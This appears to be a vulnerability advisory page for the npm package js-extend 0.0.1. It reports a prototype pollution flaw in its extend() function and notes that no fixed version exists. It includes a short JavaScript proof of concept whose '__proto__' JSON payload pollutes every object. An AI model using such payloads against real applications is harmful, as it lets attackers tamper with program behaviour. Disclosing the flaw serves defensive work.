js-extend@0.0.1 vulnerabilities

A simple extend function based on underscore

Direct Vulnerabilities

Known vulnerabilities in the js-extend package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

js-extend is a Simple extend function based on underscore.

Affected versions of this package are vulnerable to Prototype Pollution via the extend() function.

PoC

var jsExtend = require("js-extend")
var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
jsExtend.extend({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for js-extend.

*